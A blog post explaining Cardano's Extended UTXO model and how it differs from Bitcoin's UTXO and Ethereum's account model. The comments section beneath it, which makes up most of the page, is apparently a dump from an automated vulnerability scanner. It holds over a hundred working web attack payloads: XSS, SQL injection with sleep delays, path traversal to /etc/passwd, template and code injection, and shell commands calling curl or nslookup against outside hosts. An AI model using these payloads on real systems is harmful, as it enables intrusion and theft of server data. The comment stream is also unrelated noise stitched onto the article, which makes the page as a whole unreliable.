Cardano's EUTXO Model: What is it & Why is it Important?

Feb. 11, 2024 | Categories: Crypto Development

The following blog post will dive into the details around the evolution from the UTXO to the EUTXO model, focusing on the technical advancements and theoretical foundations that promise to enhance the blockchain landscape.

The Extended UTXO Model: A Look into Blockchain's Expressiveness and Security

In crypto, Bitcoin stands as the pioneer, introducing the world to a decentralized ledger system that's not only innovative but secure. At its core, Bitcoin operates on a graph-based ledger system utilizing the Unspent Transaction Output (UTXO) model. This model, fundamental to Bitcoin's architecture, structures transactions as a series of inputs and outputs, creating a directed acyclic graph (a graph having no graph cycles. Acyclic graphs are bipartite. A connected acyclic graph is known as a tree, and a possibly disconnected acyclic graph is known as a forest) that ensures the conservation of value without the risk of double-spending.

The UTXO Model:
Each transaction output in the UTXO model specifies a cryptocurrency value destined for a unique input of a future transaction. This creates a seamless flow of value, with each output serving as a potential input for subsequent transactions, thus preventing the creation of cycles that could compromise the system's integrity.

A notable feature of this model is the *validator function* attached to each output, determining its eligibility to be used as an input. To spend an output, a transaction must present a redeemer object that satisfies the validator's conditions, often involving cryptographic proofs to ensure that the spender is authorized. This mechanism not only secures transactions but also enables a range of complex validator functions and redeemers, facilitating diverse transaction protocols beyond mere transfers.

Facing Criticism:
Despite its strengths, the UTXO model has been critiqued for its limited programmability and expressiveness, especially when compared with Ethereum's account-based model. Ethereum's model, known for enabling intricate smart contracts, introduces shared mutable state, complicating contract semantics and heightening security risks, a concern underscored by incidents like the DAO attack.

In response to these limitations, the Extended UTXO (EUTXO) model emerges as a significant innovation, retaining the foundational principles of the UTXO model while enhancing its expressiveness. This evolution maintains the dataflow properties and avoids shared mutable states, thus preserving the integrity and simplicity that underpin the original model.

Extended UTXO (EUTXO) Model: Bridging Gaps
The EUTXO model introduces a datum field to transaction outputs, in addition to the validator and value fields. This datum holds contract-specific data, allowing for the maintenance of machine state across transactions. Validators now have the capability to inspect entire transactions, ensuring that they adhere to contract code, thereby enforcing contract continuity.

This model supports the implementation of Constraint Emiting Machines (CEMs), which the basic UTXO model could not accommodate. By allowing arbitrary data within the datum field and enabling validators to impose validity constraints on transactions, the EUTXO model facilitates state machines and paves the way for exploring more complex computational patterns, significantly enhancing blockchain programmability.

Practical Application: Multisignature Contracts
The EUTXO model's utility is exemplified in scenarios such as multisignature contracts, where it simplifies state management and signature collection directly on the blockchain. Unlike the basic UTXO model, which requires off-chain coordination for gathering signatures, the EUTXO model, along with platforms like Ethereum, allows for on-chain signature collection, streamlining the process and enhancing security.

Ethereum Vs Scilla Vs BitML:
While Ethereum's Solidity language supports robust state machine implementation, it faces scalability and efficiency challenges due to global state management. Conversely, the EUTXO model localizes contract state, reducing network burden and aligning with decentralized principles. Scilla and BitML offer intermediate solutions, bridging the gap between flexibility and formal verification, yet the EUTXO model stands out for its localized state management and potential for mechanical formalization, promising a more scalable and secure framework for smart contracts.

Looking Forward: A New Era of Blockchain Development
The advancement to the EUTXO model marks a significant milestone in blockchain technology, offering a sophisticated framework that enhances expressiveness, security, and scalability. By addressing the limitations of the original UTXO model and incorporating features that facilitate complex contract execution, this evolution opens new avenues for decentralized finance and beyond.

Wrapping it all up, the Extended UTXO model not only fortifies the foundational principles of blockchain technology but also propels it towards a future where complex, secure, and efficient smart contracts become the norm, heralding a new era of blockchain development.

Comments:

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}body{zzz:Expre/**/SSion(RAOg(9380))}

On Aug. 6, 2024 1 wrote:

TS9tf <ScRiPt >RAOg(9868)</ScRiPt>

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

<img sRc='http://attacker-9399/log.php?

On Aug. 6, 2024 1 wrote:

<acDBSEB<

On Aug. 6, 2024 1 wrote:

1BHlEDpZYEO

On Aug. 6, 2024 1 wrote:

response.write(9314572*9063372)

On Aug. 6, 2024 1 wrote:

'+response.write(9314572*9063372)+'

On Aug. 6, 2024 1 wrote:

"+response.write(9314572*9063372)+"

On Aug. 6, 2024 1 wrote:

FLc6gF0p

On Aug. 6, 2024 1 wrote:

wLmr2mjH: IVobMEHl

On Aug. 6, 2024 1 wrote:

${10000308+9999379}

On Aug. 6, 2024 1 wrote:

echo jupzqn$()\ oawauy\nz^xyu||a #' &echo jupzqn$()\ oawauy\nz^xyu||a #|" &echo jupzqn$()\ oawauy\nz^xyu||a #

On Aug. 6, 2024 1 wrote:

<esi:include src="http://bxss.me/rpb.png"/>

On Aug. 6, 2024 1 wrote:

&echo fklebg$()\ quaoqd\nz^xyu||a #' &echo fklebg$()\ quaoqd\nz^xyu||a #|" &echo fklebg$()\ quaoqd\nz^xyu||a #

On Aug. 6, 2024 1 wrote:

|echo akixao$()\ rmdhxb\nz^xyu||a #' |echo akixao$()\ rmdhxb\nz^xyu||a #|" |echo akixao$()\ rmdhxb\nz^xyu||a #

On Aug. 6, 2024 1 wrote:

(nslookup -q=cname hitceonidnsdh4997b.bxss.me||curl hitceonidnsdh4997b.bxss.me))

On Aug. 6, 2024 1 wrote:

&n920055=v924344

On Aug. 6, 2024 1 wrote:

$(nslookup -q=cname hitifpfkcxgbi5777f.bxss.me||curl hitifpfkcxgbi5777f.bxss.me)

On Aug. 6, 2024 1 wrote:

&nslookup -q=cname hitziaclufhip3ed07.bxss.me&'\"`0&nslookup -q=cname hitziaclufhip3ed07.bxss.me&`'

On Aug. 6, 2024 1 wrote:

)

On Aug. 6, 2024 1 wrote:

&(nslookup -q=cname hitklfiqudxqbb09f8.bxss.me||curl hitklfiqudxqbb09f8.bxss.me)&'\"`0&(nslookup -q=cname hitklfiqudxqbb09f8.bxss.me||curl hitklfiqudxqbb09f8.bxss.me)&`'

On Aug. 6, 2024 1 wrote:

!(()&&!|*|*|

On Aug. 6, 2024 1 wrote:

../../../../../../../../../../../../../../etc/passwd

On Aug. 6, 2024 1 wrote:

|(nslookup -q=cname hitboxexwzhxked965.bxss.me||curl hitboxexwzhxked965.bxss.me)

On Aug. 6, 2024 1 wrote:

^(#$!@#$)(()))******

On Aug. 6, 2024 1 wrote:

../../../../../../../../../../../../../../windows/win.ini

On Aug. 6, 2024 1 wrote:

`(nslookup -q=cname hitjunqaauqzhc3f18.bxss.me||curl hitjunqaauqzhc3f18.bxss.me)`

On Aug. 6, 2024 1 wrote:

;(nslookup -q=cname hitdjvnitubts14b8e.bxss.me||curl hitdjvnitubts14b8e.bxss.me)|(nslookup -q=cname hitdjvnitubts14b8e.bxss.me||curl hitdjvnitubts14b8e.bxss.me)&(nslookup -q=cname hitdjvnitubts14b8e.bxss.me||curl hitdjvnitubts14b8e.bxss.me)

On Aug. 6, 2024 1 wrote:

file:///etc/passwd

On Aug. 6, 2024 1 wrote:

'.gethostbyname(lc('hitcm'.'npvntwmjc6af2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(82).chr(115).chr(68).'

On Aug. 6, 2024 1 wrote:

|(nslookup${IFS}-q${IFS}cname${IFS}hitreybojfzlc10539.bxss.me||curl${IFS}hitreybojfzlc10539.bxss.me)

On Aug. 6, 2024 1 wrote:

&(nslookup${IFS}-q${IFS}cname${IFS}hitvaspytzejc49e2e.bxss.me||curl${IFS}hitvaspytzejc49e2e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvaspytzejc49e2e.bxss.me||curl${IFS}hitvaspytzejc49e2e.bxss.me)&`'

On Aug. 6, 2024 1 wrote:

".gethostbyname(lc("hituw"."osjgcjnt57f61.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(70).chr(119).chr(71)."

On Aug. 6, 2024 1 wrote:

../

On Aug. 6, 2024 1 wrote:

gethostbyname(lc('hittz'.'rtjasizf12939.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(76).chr(111).chr(84)

On Aug. 6, 2024 1 wrote:

ctime sleep p0 (I30 tp1 Rp2 .

On Aug. 6, 2024 1 wrote:

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

On Aug. 6, 2024 1 wrote:

HttP://bxss.me/t/xss.html?%00

On Aug. 6, 2024 1 wrote:

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

On Aug. 6, 2024 1 wrote:

bxss.me/t/xss.html?%00

On Aug. 6, 2024 1 wrote:

Http://bxss.me/t/fit.txt

On Aug. 6, 2024 1 wrote:

';print(md5(31337));$a='

On Aug. 6, 2024 1 wrote:

http://bxss.me/t/fit.txt?.jpg

On Aug. 6, 2024 1 wrote:

";print(md5(31337));$a="

On Aug. 6, 2024 1 wrote:

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

On Aug. 6, 2024 1 wrote:

"+"A".concat(70-3).concat(22*4).concat(105).concat(87).concat(105).concat(66)+(require"socket" Socket.gethostbyname("hitml"+"tlcsdxhof7cac.bxss.me.")[3].to_s)+"

On Aug. 6, 2024 1 wrote:

/etc/shells

On Aug. 6, 2024 1 wrote:

${@print(md5(31337))}

On Aug. 6, 2024 1 wrote:

'+'A'.concat(70-3).concat(22*4).concat(110).concat(72).concat(103).concat(77)+(require'socket' Socket.gethostbyname('hitrh'+'ietatqfkdacaa.bxss.me.')[3].to_s)+'

On Aug. 6, 2024 1 wrote:

${@print(md5(31337))}\

On Aug. 6, 2024 1 wrote:

../../../../../../../../../../../../../../etc/shells

On Aug. 6, 2024 1 wrote:

index.php

On Aug. 6, 2024 1 wrote:

'"()

On Aug. 6, 2024 1 wrote:

'A'.concat(70-3).concat(22*4).concat(111).concat(90).concat(109).concat(72)+(require'socket' Socket.gethostbyname('hitkp'+'phfvkxpk01a67.bxss.me.')[3].to_s)

On Aug. 6, 2024 1 wrote:

c:/windows/win.ini

On Aug. 6, 2024 1 wrote:

'.print(md5(31337)).'

On Aug. 6, 2024 1 wrote:

'&&sleep(27*1000)*lzueua&&'

On Aug. 6, 2024 1 wrote:

xfs.bxss.me

On Aug. 6, 2024 1 wrote:

"&&sleep(27*1000)*akbyej&&"

On Aug. 6, 2024 1 wrote:

bxss.me

On Aug. 6, 2024 1 wrote:

index.php/.

On Aug. 6, 2024 1 wrote:

919875

On Aug. 6, 2024 1 wrote:

http://xfs.bxss.me?173.127

On Aug. 6, 2024 1 wrote:

'||sleep(27*1000)*sfofci||'

On Aug. 6, 2024 1 wrote:

xfs.bxss.me?173.127

On Aug. 6, 2024 1 wrote:

<!--

On Aug. 6, 2024 1 wrote:

"||sleep(27*1000)*fgpzgp||"

On Aug. 6, 2024 1 wrote:

//xfs.bxss.me?173.127

On Aug. 6, 2024 1 wrote:

/\xfs.bxss.me?173.127

On Aug. 6, 2024 1 wrote:

'"()&%<zzz><ScRiPt >HWZN(9278)</ScRiPt>

On Aug. 6, 2024 1 wrote:

'"()&%<zzz><ScRiPt >HWZN(9297)</ScRiPt>

On Aug. 6, 2024 1 wrote:

9643822

On Aug. 6, 2024 1 wrote:

bfg4714＜s1﹥s2ʺs3ʹhjl4714

On Aug. 6, 2024 1 wrote:

bfgx8429��z1��z2a�bcxhjl8429

On Aug. 6, 2024 1 wrote:

<%={{={@{#{${dfb}}%>

On Aug. 6, 2024 1 wrote:

<th:t="${dfb}#foreach

On Aug. 6, 2024 1 wrote:

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

On Aug. 6, 2024 1 wrote:

dfb{{98991*97996}}xca

On Aug. 6, 2024 1 wrote:

dfb[[${98991*97996}]]xca

On Aug. 6, 2024 1 wrote:

dfb__${98991*97996}__::.x

On Aug. 6, 2024 1 wrote:

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

On Aug. 6, 2024 1 wrote:

</textarea><ScRiPt >HWZN(9865)</ScRiPt>

On Aug. 6, 2024 1 wrote:

A1yYve8F

On Aug. 6, 2024 1 wrote:

-1 OR 2+237-237-1=0+0+0+1 --

On Aug. 6, 2024 1 wrote:

-1 OR 3+237-237-1=0+0+0+1 --

On Aug. 6, 2024 1 wrote:

-1 OR 3*2<(0+5+237-237) --

On Aug. 6, 2024 1 wrote:

-1 OR 3*2>(0+5+237-237) --

On Aug. 6, 2024 1 wrote:

-1 OR 2+673-673-1=0+0+0+1

On Aug. 6, 2024 1 wrote:

-1 OR 3+673-673-1=0+0+0+1

On Aug. 6, 2024 1 wrote:

-1 OR 3*2<(0+5+673-673)

On Aug. 6, 2024 1 wrote:

-1 OR 3*2>(0+5+673-673)

On Aug. 6, 2024 1 wrote:

-1' OR 2+792-792-1=0+0+0+1 --

On Aug. 6, 2024 1 wrote:

-1' OR 3+792-792-1=0+0+0+1 --

On Aug. 6, 2024 1 wrote:

-1' OR 3*2<(0+5+792-792) --

On Aug. 6, 2024 1 wrote:

-1' OR 3*2>(0+5+792-792) --

On Aug. 6, 2024 1 wrote:

-1' OR 2+733-733-1=0+0+0+1 or 'HZbhFlBL'='

On Aug. 6, 2024 1 wrote:

-1' OR 3+733-733-1=0+0+0+1 or 'HZbhFlBL'='

On Aug. 6, 2024 1 wrote:

-1' OR 3*2<(0+5+733-733) or 'HZbhFlBL'='

On Aug. 6, 2024 1 wrote:

-1' OR 3*2>(0+5+733-733) or 'HZbhFlBL'='

On Aug. 6, 2024 1 wrote:

-1" OR 2+891-891-1=0+0+0+1 --

On Aug. 6, 2024 1 wrote:

-1" OR 3+891-891-1=0+0+0+1 --

On Aug. 6, 2024 1 wrote:

-1" OR 3*2<(0+5+891-891) --

On Aug. 6, 2024 1 wrote:

-1" OR 3*2>(0+5+891-891) --

On Aug. 6, 2024 1 wrote:

*if(now()=sysdate(),sleep(15),0)

On Aug. 6, 2024 1 wrote:

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

On Aug. 6, 2024 1 wrote:

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

On Aug. 6, 2024 1 wrote:

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

On Aug. 6, 2024 1 wrote:

-1; waitfor delay '0:0:15' --

On Aug. 6, 2024 1 wrote:

-1); waitfor delay '0:0:15' --

On Aug. 6, 2024 1 wrote:

-1 waitfor delay '0:0:15' --

On Aug. 6, 2024 1 wrote:

VZ7KXbZo'; waitfor delay '0:0:15' --

On Aug. 6, 2024 1 wrote:

-1 OR 586=(SELECT 586 FROM PG_SLEEP(15))--

On Aug. 6, 2024 1 wrote:

-1) OR 303=(SELECT 303 FROM PG_SLEEP(15))--

On Aug. 6, 2024 1 wrote:

-1)) OR 286=(SELECT 286 FROM PG_SLEEP(15))--

On Aug. 6, 2024 1 wrote:

PDiZLsI7' OR 778=(SELECT 778 FROM PG_SLEEP(15))--

On Aug. 6, 2024 1 wrote:

CyROleOq') OR 116=(SELECT 116 FROM PG_SLEEP(15))--

On Aug. 6, 2024 1 wrote:

zMNSEza4')) OR 159=(SELECT 159 FROM PG_SLEEP(15))--

On Aug. 6, 2024 1 wrote:

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

On Aug. 6, 2024 1 wrote:

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

On Aug. 6, 2024 1 wrote:

��%2527%2522\'\"

On Aug. 6, 2024 1 wrote:

@@eieq0

On Aug. 6, 2024 1 wrote:

'"()&%<zzz><ScRiPt >nco1(9050)</ScRiPt>

On Aug. 6, 2024 1 wrote:

'"()&%<zzz><ScRiPt >nco1(9219)</ScRiPt>

On Aug. 6, 2024 1 wrote:

9207722

On Aug. 6, 2024 1 wrote:

bfg3514＜s1﹥s2ʺs3ʹhjl3514

On Aug. 6, 2024 1 wrote:

bfgx7125��z1��z2a�bcxhjl7125

On Aug. 6, 2024 1 wrote:

<%={{={@{#{${dfb}}%>

On Aug. 6, 2024 1 wrote:

<th:t="${dfb}#foreach

On Aug. 6, 2024 1 wrote:

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

On Aug. 6, 2024 1 wrote:

dfb{{98991*97996}}xca

On Aug. 6, 2024 1 wrote:

dfb[[${98991*97996}]]xca

On Aug. 6, 2024 1 wrote:

dfb__${98991*97996}__::.x

On Aug. 6, 2024 1 wrote:

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

<ScR<ScRiPt>IpT>nco1(9114)</sCr<ScRiPt>IpT>

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

<img/src=">" onerror=alert(9434)>

On Aug. 6, 2024 1 wrote:

%0A%3C%53%63%52%69%50%74%20%3E%6E%63%6F%31%289375%29%3C%2F%73%43%72%69%70%54%3E

On Aug. 6, 2024 1 wrote:

\u003CScRiPt\nco1(9928)\u003C/sCripT\u003E

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

�<img zzz onmouseover=nco1(95011) //�>

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

}body{zzz:Expre/**/SSion(nco1(9462))}

On Aug. 6, 2024 1 wrote:

9SlLW <ScRiPt >nco1(9115)</ScRiPt>

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

On Aug. 6, 2024 1 wrote:

<img sRc='http://attacker-9876/log.php?

On Aug. 6, 2024 1 wrote:

<as8w7NT<

Cardano's EUTXO Model: What is it & Why is it Important?

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